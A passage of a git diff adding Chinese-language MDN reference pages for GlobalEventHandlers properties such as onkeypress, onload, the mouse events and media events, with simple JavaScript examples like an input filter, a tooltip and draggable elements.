onkeydown属性用来获取或设置当前元素的keydown事件的事件处理函数.

+ +

语法

+ +
element.onkeydown = event handling code
+
+ +

备注

+ +

当用户按下键盘上的按键时会触发keydown事件.

+ +

规范

+ +

不属于任何公开的规范.

+ +

{{ languages( { "fr": "fr/DOM/element.onkeydown", "pl": "pl/DOM/element.onkeydown", "en": "en/DOM/element.onkeydown" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onkeypress/index.html b/files/zh-cn/web/api/globaleventhandlers/onkeypress/index.html new file mode 100644 index 0000000000..266091fc28 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onkeypress/index.html @@ -0,0 +1,109 @@ +--- +title: GlobalEventHandlers.onkeypress +slug: Web/API/GlobalEventHandlers/onkeypress +tags: + - API + - HTML DOM + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/onkeypress +--- +
{{ ApiRef("HTML DOM") }}
+ +

onkeypress 属性用来获取或设置当前元素的keypress事件的事件处理函数.

+ +

语法

+ +
element.onkeypress = event handling code
+
+ +

备注

+ +

当用户在键盘上按下任意键时,应当会触发 keypress 事件。然则有些浏览器不会触发某些键的 kerpress 事件。

+ +

浏览器不兼容性

+ +

Webkit-based 浏览器(如 Google Chrome 及 Safari)不会触发方向键的 keypress 事件。

+ +

Firefox 不会触发如 SHIFT 键等修改键的 keypress 事件。

+ +

示例

+ +

示例1:通过正则表达式在表单域中过滤数字

+ +

下例演示了 onkeypress 事件在一个文本输入框内的用法——将数字输入到表单时过滤输入的内容:

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Example</title>
+<script type="text/javascript">
+  function numbersOnly(oToCheckField, oKeyEvent) {
+    return oKeyEvent.charCode === 0 || /\d/.test(String.fromCharCode(oKeyEvent.charCode));
+  }
+</script>
+</head>
+
+<body>
+<form name="myForm">
+<p>这个文本框只能输入数字(译者注:不用中文输入法的前提下):
+<input type="text" name="myInput" onkeypress="return numbersOnly(this, event);" onpaste="return false;" /></p>
+</form>
+</body>
+</html>
+
+ +

示例2:捕获隐藏单词的输入

+ +

以下示例将在用户在页面的任何位置键入单词“exit”后执行某些操作。

+ +
Note: A more complete framework for capturing the typing of hidden words is available on GitHub.
+ +
/* Type the word "exit" in any point of your page... */
+
+(function () {
+
+  var sSecret = /* chose your hidden word...: */ "exit", nOffset = 0;
+
+  document.onkeypress = function (oPEvt) {
+    var oEvent = oPEvt || window.event, nChr = oEvent.charCode, sNodeType = oEvent.target.nodeName.toUpperCase();
+    if (nChr === 0 || oEvent.target.contentEditable.toUpperCase() === "TRUE" || sNodeType === "TEXTAREA" || sNodeType === "INPUT" && oEvent.target.type.toUpperCase() === "TEXT") { return true; }
+    if (nChr !== sSecret.charCodeAt(nOffset)) {
+      nOffset = nChr === sSecret.charCodeAt(0) ? 1 : 0;
+    } else if (nOffset < sSecret.length - 1) {
+      nOffset++;
+    } else {
+      nOffset = 0;
+      /* do something here... */
+      alert("Yesss!!!");
+      location.assign("http://developer.mozilla.org/");
+    }
+    return true;
+  };
+})();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onkeypress','onkeypress')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onkeypress")}}

+
diff --git a/files/zh-cn/web/api/globaleventhandlers/onkeyup/index.html b/files/zh-cn/web/api/globaleventhandlers/onkeyup/index.html new file mode 100644 index 0000000000..cd9cb7f867 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onkeyup/index.html @@ -0,0 +1,31 @@ +--- +title: GlobalEventHandlers.onkeyup +slug: Web/API/GlobalEventHandlers/onkeyup +translation_of: Web/API/GlobalEventHandlers/onkeyup +--- +
{{ ApiRef("HTML DOM") }}
+ +

Summary

+ +

onkeyup属性用来获取或设置当前元素的keyup事件的事件处理函数.

+ +

语法

+ +
element.onkeyup = event handling code
+
+ +

例子

+ +
 <input type="text" onKeyUp="keyWasPressed(event)">
+ <script>function keyWasPressed(evt){ alert(evt.keyCode) }</script>
+
+ +

备注

+ +

在当前元素上释放键盘按键时会触发keyup事件.

+ +

规范

+ +

不属于任何公开的规范.

+ +

{{ languages( { "fr": "fr/DOM/element.onkeyup", "pl": "pl/DOM/element.onkeyup", "en": "en/DOM/element.onkeyup" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onload/index.html b/files/zh-cn/web/api/globaleventhandlers/onload/index.html new file mode 100644 index 0000000000..a9a56d9c6b --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onload/index.html @@ -0,0 +1,79 @@ +--- +title: GlobalEventHandlers.onload +slug: Web/API/GlobalEventHandlers/onload +tags: + - DOMContentLoaded + - ES6 + - GlobalEventHandlers.onload + - load + - onload +translation_of: Web/API/GlobalEventHandlers/onload +--- +

{{ ApiRef() }}

+ +

{{domxref("GlobalEventHandlers")}} mixin 的 onload 属性是一个事件处理程序用于处理{{domxref("Window")}}, {{domxref("XMLHttpRequest")}}, {{htmlelement("img")}} 等元素的加载事件,当资源已加载时被触发。

+ +

语法

+ +
window.onload = funcRef;
+
+ + + +

Value

+ +

funcRef 是窗口加载事件触发时调用的处理函数。

+ +

示例

+ +
window.onload = function() {
+  init();
+  doSomethingElse();
+};
+
+ +
<!doctype html>
+<html>
+  <head>
+    <title>onload test</title>
+    // ES5
+    <script>
+      function load() {
+        console.log("load event detected!");
+      }
+      window.onload = load;
+    </script>
+    // ES2015(aka: ES6)
+    <script>
+      const load = () => {
+        console.log("load event detected!");
+      }
+      window.onload = load;
+    </script>
+  </head>
+  <body>
+    <p>The load event fires when the document has finished loading!</p>
+  </body>
+</html>
+ +

注意

+ +

在文档装载完成后会触发  load 事件。此时,在文档中的所有对象都在DOM中,所有图片,脚本,链接以及子框都完成了装载。 

+ +

同时也会有 Gecko-指定 DOM事件,如 DOMContentLoaded 和 DOMFrameContentLoaded (它们可以使用 {{ domxref("EventTarget.addEventListener()") }} 来处理 ) , 这些事件在页面DOM构建起来后就会触发,而不会等到其他的资源都装载完成。 

+ +

规范

+ +

这个事件处理程序在  HTML 中指定。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onloadeddata/index.html b/files/zh-cn/web/api/globaleventhandlers/onloadeddata/index.html new file mode 100644 index 0000000000..a5f43df54a --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onloadeddata/index.html @@ -0,0 +1,51 @@ +--- +title: GlobalEventHandlers.onloadeddata +slug: Web/API/GlobalEventHandlers/onloadeddata +tags: + - API + - 事件句柄 +translation_of: Web/API/GlobalEventHandlers/onloadeddata +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}}的onloadeddata 属性是事件 {{event("loadeddata")}}的处理{{domxref("EventHandler")}} 。

+ +

loadeddata 事件当媒体资源的第一帧加载完成时被触发。

+ +

语法

+ +
element.onloadeddata = handlerFunction;
+var handlerFunction = element.onloadeddata;
+
+ +

handlerFunction is either null or a JavaScript function specifying the handler for the event.

+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-onloadeddata','onloadeddata')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容

+ + + +

{{Compat("api.GlobalEventHandlers.onloadeddata")}}

+ +

参考资料

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onloadedmetadata/index.html b/files/zh-cn/web/api/globaleventhandlers/onloadedmetadata/index.html new file mode 100644 index 0000000000..7f2d977c24 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onloadedmetadata/index.html @@ -0,0 +1,53 @@ +--- +title: GlobalEventHandlers.onloadedmetadata +slug: Web/API/GlobalEventHandlers/onloadedmetadata +tags: + - 事件处理器 + - 全局事件处理器 + - 参考 + - 属性 +translation_of: Web/API/GlobalEventHandlers/onloadedmetadata +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} mixin的onloadedmetadata属性是处理{{event("loadedmetadata")}}事件的{{domxref("EventHandler")}}。

+ +

loadedmetadata事件在元数据(metadata)被加载完成后触发。

+ +

语法

+ +
element.onloadedmetadata = handlerFunction;
+var handlerFunction = element.onloadedmetadata;
+
+ +

handlerFunction应当是null或是由JavaScript函数声明的事件handler。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG','#handler-onloadedmetadata','onloadedmetadata')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onloadedmetadata")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onloadend/index.html b/files/zh-cn/web/api/globaleventhandlers/onloadend/index.html new file mode 100644 index 0000000000..0f9db1b169 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onloadend/index.html @@ -0,0 +1,47 @@ +--- +title: GlobalEventHandlers.onloadend +slug: Web/API/GlobalEventHandlers/onloadend +translation_of: Web/API/GlobalEventHandlers/onloadend +--- +
{{ApiRef}}
+ +
{{domxref("GlobalEventHandlers")}}的onloadend 属性是用来 表示触发{{event("loadend")}}事件时(资源加载进度停止时)的{{domxref("EventHandler")}}。
+ +

语法

+ +
img.onloadend = funcRef;
+
+ +

Value

+ +

funcRef是在事件源的loadend事件触发时要调用的处理函数。

+ +

范例

+ +

HTML content

+ +
<img src="myImage.jpg">
+ +

JavaScript content

+ +
// 'loadstart' fires first, then 'load', then 'loadend'
+
+image.addEventListener('load', function(e) {
+  console.log('Image loaded');
+});
+
+image.addEventListener('loadstart', function(e) {
+  console.log('Image load started');
+});
+
+image.addEventListener('loadend', function(e) {
+  console.log('Image load finished');
+});
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onloadend")}}

+
diff --git a/files/zh-cn/web/api/globaleventhandlers/onloadstart/index.html b/files/zh-cn/web/api/globaleventhandlers/onloadstart/index.html new file mode 100644 index 0000000000..33bfbd734a --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onloadstart/index.html @@ -0,0 +1,66 @@ +--- +title: GlobalEventHandlers.onloadstart +slug: Web/API/GlobalEventHandlers/onloadstart +translation_of: Web/API/GlobalEventHandlers/onloadstart +--- +
{{ApiRef}}
+ +

The onloadstart property of the {{domxref("GlobalEventHandlers")}} mixin is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised (when progress has begun on the loading of a resource.)

+ +

Syntax

+ +
img.onloadstart = funcRef;
+
+ +

Value

+ +

funcRef is the handler function to be called when the resource's loadstart event fires.

+ +

Examples

+ +

HTML content

+ +
<img src="myImage.jpg">
+ +

JavaScript content

+ +
// 'loadstart' fires first, then 'load', then 'loadend'
+
+image.addEventListener('load', function(e) {
+  console.log('Image loaded');
+});
+
+image.addEventListener('loadstart', function(e) {
+  console.log('Image load started');
+});
+
+image.addEventListener('loadend', function(e) {
+  console.log('Image load finished');
+});
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "webappapis.html#handler-onloadstart", "onloadstart")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

Browser Compatibility

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onloadstart")}}

+
diff --git a/files/zh-cn/web/api/globaleventhandlers/onlostpointercapture/index.html b/files/zh-cn/web/api/globaleventhandlers/onlostpointercapture/index.html new file mode 100644 index 0000000000..2f8763c94d --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onlostpointercapture/index.html @@ -0,0 +1,121 @@ +--- +title: GlobalEventHandlers.onlostpointercapture +slug: Web/API/GlobalEventHandlers/onlostpointercapture +translation_of: Web/API/GlobalEventHandlers/onlostpointercapture +--- +

{{ApiRef("HTML DOM")}}

+ +

The onlostpointercapture {{domxref("EventHandler")}} property of the {{domxref("GlobalEventHandlers")}} interface returns the event handler (function) for the {{event("lostpointercapture")}} event type.

+ +

语法

+ +
window.onlostpointercapture = functionReference
+
+ +

 

+ +

例子

+ +
<html>
+<script>
+function overHandler(ev) {
+ // Determine the target event's lostpointercapture handler
+ var lostCaptureHandler = ev.target.onlostpointercapture;
+}
+function init() {
+ var el=document.getElementById("target");
+ el.onlostpointercapture = overHandler;
+}
+</script>
+<body onload="init();">
+<div id="target"> Touch me ... </div>
+</body>
+</html>
+
+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('Pointer Events 2','#the-lostpointercapture-event', 'onlostpointercapture')}}{{Spec2('Pointer Events 2')}} 
+ +

 

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(57.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(44)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(57.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(44)}}{{CompatUnknown}}{{CompatChrome(57.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onmousedown/index.html b/files/zh-cn/web/api/globaleventhandlers/onmousedown/index.html new file mode 100644 index 0000000000..9d8d26dbb1 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onmousedown/index.html @@ -0,0 +1,25 @@ +--- +title: GlobalEventHandlers.onmousedown +slug: Web/API/GlobalEventHandlers/onmousedown +translation_of: Web/API/GlobalEventHandlers/onmousedown +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

onmousedown属性用来获取或设置当前元素的mousedown事件的事件处理函数.

+ +

语法

+ +
element.onmousedown= event handling code
+
+ +

备注

+ +

在当前元素上鼠标按下瞬间会触发mousedown事件.

+ +

规范

+ +

不属于任何公开的规范.

+ +

{{ languages( { "fr": "fr/DOM/element.onmousedown", "pl": "pl/DOM/element.onmousedown", "en": "en/DOM/element.onmousedown" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onmouseenter/index.html b/files/zh-cn/web/api/globaleventhandlers/onmouseenter/index.html new file mode 100644 index 0000000000..2a554abe9e --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onmouseenter/index.html @@ -0,0 +1,50 @@ +--- +title: GlobalEventHandlers.onmouseenter +slug: Web/API/GlobalEventHandlers/onmouseenter +translation_of: Web/API/GlobalEventHandlers/onmouseenter +--- +
{{ ApiRef("HTML DOM") }}
+ +
{{domxref("GlobalEventHandlers")}}的onmouseenter 属性绑定 {{domxref("EventHandler")}} 后来处理{{event("mouseenter")}} 事件.
+ +
 
+ +

元素绑定了监听事件后,当一个指针设备(通常是鼠标)移动到这个元素上时mouseenter事件将会被触发。

+ +

语法

+ +
element.onmouseenter = handlerFunction;
+var handlerFunction = element.onmouseenter;
+
+ +

handlerFunction 可以是 null 或者一个用于处理事件的JavaScript 函数 。

+ +

规格

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('HTML WHATWG','#handler-onmouseenter','onmouseenter')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onmouseenter")}}

+ +

同样可看

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onmouseleave/index.html b/files/zh-cn/web/api/globaleventhandlers/onmouseleave/index.html new file mode 100644 index 0000000000..0daf4fed44 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onmouseleave/index.html @@ -0,0 +1,48 @@ +--- +title: GlobalEventHandlers.onmouseleave +slug: Web/API/GlobalEventHandlers/onmouseleave +translation_of: Web/API/GlobalEventHandlers/onmouseleave +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} mixin 中的 onmouseleave 属性是用于处理鼠标移出({{event("mouseleave")}})事件的事件管理器({{domxref("EventHandler")}})。

+ +

mouseleave事件在定点设备(通常来说指的是鼠标) 移出某个元素时触发。

+ +

语法

+ +
element.onmouseleave = handlerFunction;
+var handlerFunction = element.onmouseleave;
+
+ +

handlerFunction 可以是 null ,也可以是一个用以指示如何处理该事件的 JavaScript 函数 。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-onmouseleave','onmouseleave')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.GlobalEventHandlers.onmouseleave")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onmousemove/index.html b/files/zh-cn/web/api/globaleventhandlers/onmousemove/index.html new file mode 100644 index 0000000000..01e56d12b0 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onmousemove/index.html @@ -0,0 +1,158 @@ +--- +title: GlobalEventHandlers.onmousemove +slug: Web/API/GlobalEventHandlers/onmousemove +translation_of: Web/API/GlobalEventHandlers/onmousemove +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

onmousemove属性用来获取或设置当前元素的mousemove事件的事件处理函数.

+ +

语法

+ +
element.onmousemove = event handling code
+
+ +

备注

+ +

当用户在当前元素上移动鼠标时会触发mousemove事件.

+ +

例子

+ +

下面的例子演示了在显示"提示层"时onmousemove的用法.

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Tooltip Example</title>
+<script type="text/javascript">
+var oTooltip = new (function() {
+  var nOverX, nOverY, nLeftPos, nTopPos, oNode, bOff = true;
+  this.follow = function (oMsEvnt1) {
+    if (bOff) { return; }
+    var nMoveX =  oMsEvnt1.clientX, nMoveY =  oMsEvnt1.clientY;
+    nLeftPos += nMoveX - nOverX; nTopPos += nMoveY - nOverY;
+    oNode.style.left = nLeftPos + "px";
+    oNode.style.top = nTopPos + "px";
+    nOverX = nMoveX; nOverY = nMoveY;
+  };
+  this.remove = function () {
+    if (bOff) { return; }
+    bOff = true; document.body.removeChild(oNode);
+  };
+  this.append = function (oMsEvnt2, sTxtContent) {
+    oNode.innerHTML = sTxtContent;
+    if (bOff) { document.body.appendChild(oNode); bOff = false; }
+    var nScrollX = document.documentElement.scrollLeft || document.body.scrollLeft, nScrollY = document.documentElement.scrollTop || document.body.scrollTop, nWidth = oNode.offsetWidth, nHeight = oNode.offsetHeight;
+    nOverX = oMsEvnt2.clientX; nOverY = oMsEvnt2.clientY;
+    nLeftPos = document.body.offsetWidth - nOverX - nScrollX > nWidth ? nOverX + nScrollX + 10 : document.body.offsetWidth - nWidth + 16;
+    nTopPos = nOverY - nHeight > 6 ? nOverY + nScrollY - nHeight - 7 : nOverY + nScrollY + 20;
+    oNode.style.left = nLeftPos + "px";
+    oNode.style.top = nTopPos + "px";
+  };
+  this.init = function() {
+    oNode = document.createElement("div");
+    oNode.className = "tooltip";
+    oNode.style.position = "absolute";
+  };
+})();
+</script>
+<style type="text/css">
+div.tooltip {
+  padding: 6px;
+  background: #ffffff;
+  border: 1px #76808C solid;
+  border-radius: 5px;
+  -moz-border-radius: 5px;
+  -webkit-border-radius: 5px;
+  z-index: 9999;
+}
+</style>
+</head>
+
+<body onload="oTooltip.init();">
+<p><a href="http://developer.mozilla.org/" onmouseover="oTooltip.append(event,'提示文字1');" onmousemove="oTooltip.follow(event);" onmouseout="oTooltip.remove();">将你的鼠标移动到这里&hellip;</a></p>
+<p><a href="http://developer.mozilla.org/" onmouseover="oTooltip.append(event,'提示文字2');" onmousemove="oTooltip.follow(event);" onmouseout="oTooltip.remove();">&hellip;或者这里!!</a></p>
+</body>
+</html>
+
+ +

下面的例子演示了在进行拖拽操作时onmousemove的用法.

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Draggable objects</title>
+<script type="text/javascript">
+
+var bMouseUp = true, oDragging, nMouseX, nMouseY, nStartX, nStartY, nZFocus = 100 /* the highest z-Index present in your page plus 1 */;
+
+function dragDown(oPssEvt1) {
+  var bExit = true, oMsEvent1 = oPssEvt1 || /* IE */ window.event;
+  for (var iNode = oMsEvent1.target; iNode; iNode = iNode.parentNode) {
+    if (iNode.className === "draggable") { bExit = false; oDragging = iNode; break; }
+  }
+  if (bExit) { return; }
+  bMouseUp = false;
+  nStartX = nStartY = 0;
+  for (var iOffPar = oDragging; iOffPar; iOffPar = iOffPar.offsetParent) {
+    nStartX += iOffPar.offsetLeft;
+    nStartY += iOffPar.offsetTop;
+  }
+  nMouseX = oMsEvent1.clientX;
+  nMouseY = oMsEvent1.clientY;
+  oDragging.style.zIndex = nZFocus++;
+  return false;
+}
+
+function dragMove(oPssEvt2) {
+  if (bMouseUp) { return; }
+  var oMsEvent2 = oPssEvt2 || /* IE */ window.event;
+  oDragging.style.left = String(nStartX + oMsEvent2.clientX - nMouseX) + "px";
+  oDragging.style.top = String(nStartY + oMsEvent2.clientY - nMouseY) + "px";
+}
+
+function dragUp() { bMouseUp = true; }
+
+document.onmousedown = dragDown;
+document.onmousemove = dragMove;
+document.onmouseup = dragUp;
+
+</script>
+<style type="text/css">
+.draggable {
+  position: fixed;
+  left: 0;
+  top: 0;
+  width: auto;
+  height: auto;
+  cursor: move;
+}
+
+#myDiv {
+  width: 300px;
+  height: 200px;
+  left: 200px;
+  top: 200px;
+  background-color: #00ff00;
+}
+</style>
+</head>
+
+<body>
+
+<div class="draggable" id="myDiv"><p>一个 Hello world!</p></div>
+<div class="draggable" style="background-color:#aaaaaa;">又一个 hello world!</div>
+
+</body>
+</html>
+
+ +

规范

+ +

不属于任何公开的规范.

+ +

{{ languages( { "pl": "pl/DOM/element.onmousemove", "fr": "fr/DOM/element.onmousemove", "en": "en/DOM/element.onmousemove" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onmouseout/index.html b/files/zh-cn/web/api/globaleventhandlers/onmouseout/index.html new file mode 100644 index 0000000000..3bebf98aa4 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onmouseout/index.html @@ -0,0 +1,67 @@ +--- +title: GlobalEventHandlers.onmouseout +slug: Web/API/GlobalEventHandlers/onmouseout +translation_of: Web/API/GlobalEventHandlers/onmouseout +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

onmouseout属性用来获取或设置当前元素的mouseout事件的事件处理函数.

+ +

语法

+ +
element.onMouseOut = event handling code
+
+ +

例子

+ +
<!doctype html>
+<html>
+<head>
+<title>onmouseover/onmouseout event example</title>
+<script type="text/javascript">
+    function initElement()
+    {
+        var p = document.getElementById("foo");
+
+        p.onmouseover = showMouseOver;
+        p.onmouseout = showMouseOut;
+    };
+
+    function showMouseOver()
+    {
+        var notice = document.getElementById("notice");
+        notice.innerHTML = '检测到鼠标移进';
+    }
+
+    function showMouseOut()
+    {
+        var notice = document.getElementById("notice");
+        notice.innerHTML = '检测到鼠标移出';
+    }
+
+
+</script>
+<style type="text/css">
+    #foo {
+    border: solid blue 2px;
+    }
+</style>
+</head>
+<body onload="initElement()";>
+    <span id="foo">移动鼠标,在该元素上移进移出</span>
+    <div id="notice"></div>
+</body>
+</html>
+
+ +

备注

+ +

当鼠标离开一个元素时,会在这个元素上触发mouseout事件.

+ +

规范

+ +

DOM Level 0 不属于任何规范.

+ +

{{ languages( {"fr": "fr/DOM/element.onmouseout","en": "en/DOM/element.onmouseout" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onmouseover/index.html b/files/zh-cn/web/api/globaleventhandlers/onmouseover/index.html new file mode 100644 index 0000000000..ed43e31a8a --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onmouseover/index.html @@ -0,0 +1,66 @@ +--- +title: GlobalEventHandlers.onmouseover +slug: Web/API/GlobalEventHandlers/onmouseover +translation_of: Web/API/GlobalEventHandlers/onmouseover +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

onmouseover属性用来获取或设置当前元素的mouseover事件的事件处理函数.

+ +

语法

+ +
element.onmouseover = event handling code
+
+ +

例子

+ +
<!doctype html>
+<html>
+<head>
+<title>onmouseover/onmouseout event example</title>
+<script type="text/javascript">
+    function initElement()
+    {
+        var p = document.getElementById("foo");
+
+        p.onmouseover = showMouseOver;
+        p.onmouseout = showMouseOut;
+    };
+
+    function showMouseOver()
+    {
+        var notice = document.getElementById("notice");
+        notice.innerHTML = '检测到鼠标移进';
+    }
+
+    function showMouseOut()
+    {
+        var notice = document.getElementById("notice");
+        notice.innerHTML = '检测到鼠标移出';
+    }
+
+
+</script>
+<style type="text/css">
+    #foo {
+    border: solid blue 2px;
+    }
+</style>
+</head>
+<body onload="initElement()";>
+    <span id="foo">移动鼠标,在该元素上移进移出</span>
+    <div id="notice"></div>
+</body>
+</html>  
+ +

备注

+ +

当鼠标移动到一个元素上时,会在这个元素上触发mouseover事件.

+ +

规范

+ +

DOM Level 0 不属于任何规范.

+ +

{{ languages( { "pl": "pl/DOM/element.onmouseover", "fr": "fr/DOM/element.onmouseover" , "en": "en/DOM/element.onmouseover" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onmouseup/index.html b/files/zh-cn/web/api/globaleventhandlers/onmouseup/index.html new file mode 100644 index 0000000000..cd1749ac69 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onmouseup/index.html @@ -0,0 +1,25 @@ +--- +title: GlobalEventHandlers.onmouseup +slug: Web/API/GlobalEventHandlers/onmouseup +translation_of: Web/API/GlobalEventHandlers/onmouseup +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

onmouseup属性用来获取或设置当前元素的mouseup事件的事件处理函数.

+ +

语法

+ +
element.onMouseUp = event handling code
+
+ +

备注

+ +

当用户在当前元素上放开鼠标某个按键时会触发mouseup事件.

+ +

规范

+ +

不属于任何公开的规范.

+ +

{{ languages( { "fr": "fr/DOM/element.onmouseup" ,"en": "en/DOM/element.onmouseup" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onpause/index.html b/files/zh-cn/web/api/globaleventhandlers/onpause/index.html new file mode 100644 index 0000000000..23bbb9285d --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onpause/index.html @@ -0,0 +1,46 @@ +--- +title: GlobalEventHandlers.onpause +slug: Web/API/GlobalEventHandlers/onpause +translation_of: Web/API/GlobalEventHandlers/onpause +--- +

概述

+ +

onpause可以用来获取或设置当前元素的onpause事件的事件处理函数。当媒体播放被暂停时,将触发pause事件。

+ +

语法

+ +
element.onpause = handlerFunction;
+var handlerFunction = element.onpause;
+
+ +

handlerFunction应该是null或指定事件的JavaScript函数。

+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-onpause','onpause')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onpause")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onplay/index.html b/files/zh-cn/web/api/globaleventhandlers/onplay/index.html new file mode 100644 index 0000000000..ea8e8d654f --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onplay/index.html @@ -0,0 +1,67 @@ +--- +title: GlobalEventHandlers.onplay +slug: Web/API/GlobalEventHandlers/onplay +translation_of: Web/API/GlobalEventHandlers/onplay +--- +
{{ ApiRef("HTML DOM") }}
+ +

The onplay property of the {{domxref("GlobalEventHandlers")}} mixin is the {{domxref("EventHandler")}} for processing {{event("play")}} events.

+ +

语法

+ +
element.onplay = handlerFunction;
+var handlerFunction = element.onplay;
+
+ +

handlerFunction 应该是 null 或者 JavaScript function 指定事件的处理程序。

+ +

示例

+ +
<p>此示例演示如何将“onplay”事件分配给视频元素</p>
+
+<video controls onplay="alertPlay()">
+  <source src="mov_bbb.mp4" type="video/mp4">
+  <source src="mov_bbb.ogg" type="video/ogg">
+  Your browser does not support HTML5 video.
+</video>
+
+<p>Video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">Big Buck Bunny</a>.</p>
+
+<script>
+function alertPlay() {
+  alert("视频开始播放啦。");
+}
+</script>
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onplay','onplay')}}{{Spec2('HTML WHATWG')}} +

 

+
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onplay")}}

+ +

相关知识

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onplaying/index.html b/files/zh-cn/web/api/globaleventhandlers/onplaying/index.html new file mode 100644 index 0000000000..25b77afc32 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onplaying/index.html @@ -0,0 +1,50 @@ +--- +title: GlobalEventHandlers.onplaying +slug: Web/API/GlobalEventHandlers/onplaying +translation_of: Web/API/GlobalEventHandlers/onplaying +--- +
{{ApiRef("HTML DOM")}}
+ +

The onplaying property of the {{domxref("GlobalEventHandlers")}} mixin is the {{domxref("EventHandler")}} for processing {{event("playing")}} events.

+ +

playing 事件将会在媒体做好播放准备后(因暂停或网络延迟而导致媒体数据缺失)触发。

+ +

语法

+ +
element.onplaying = handlerFunction;
+var handlerFunction = element.onplaying;
+
+ +

handlerFunction 为 null 或一个函数 指定事件处理程序

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
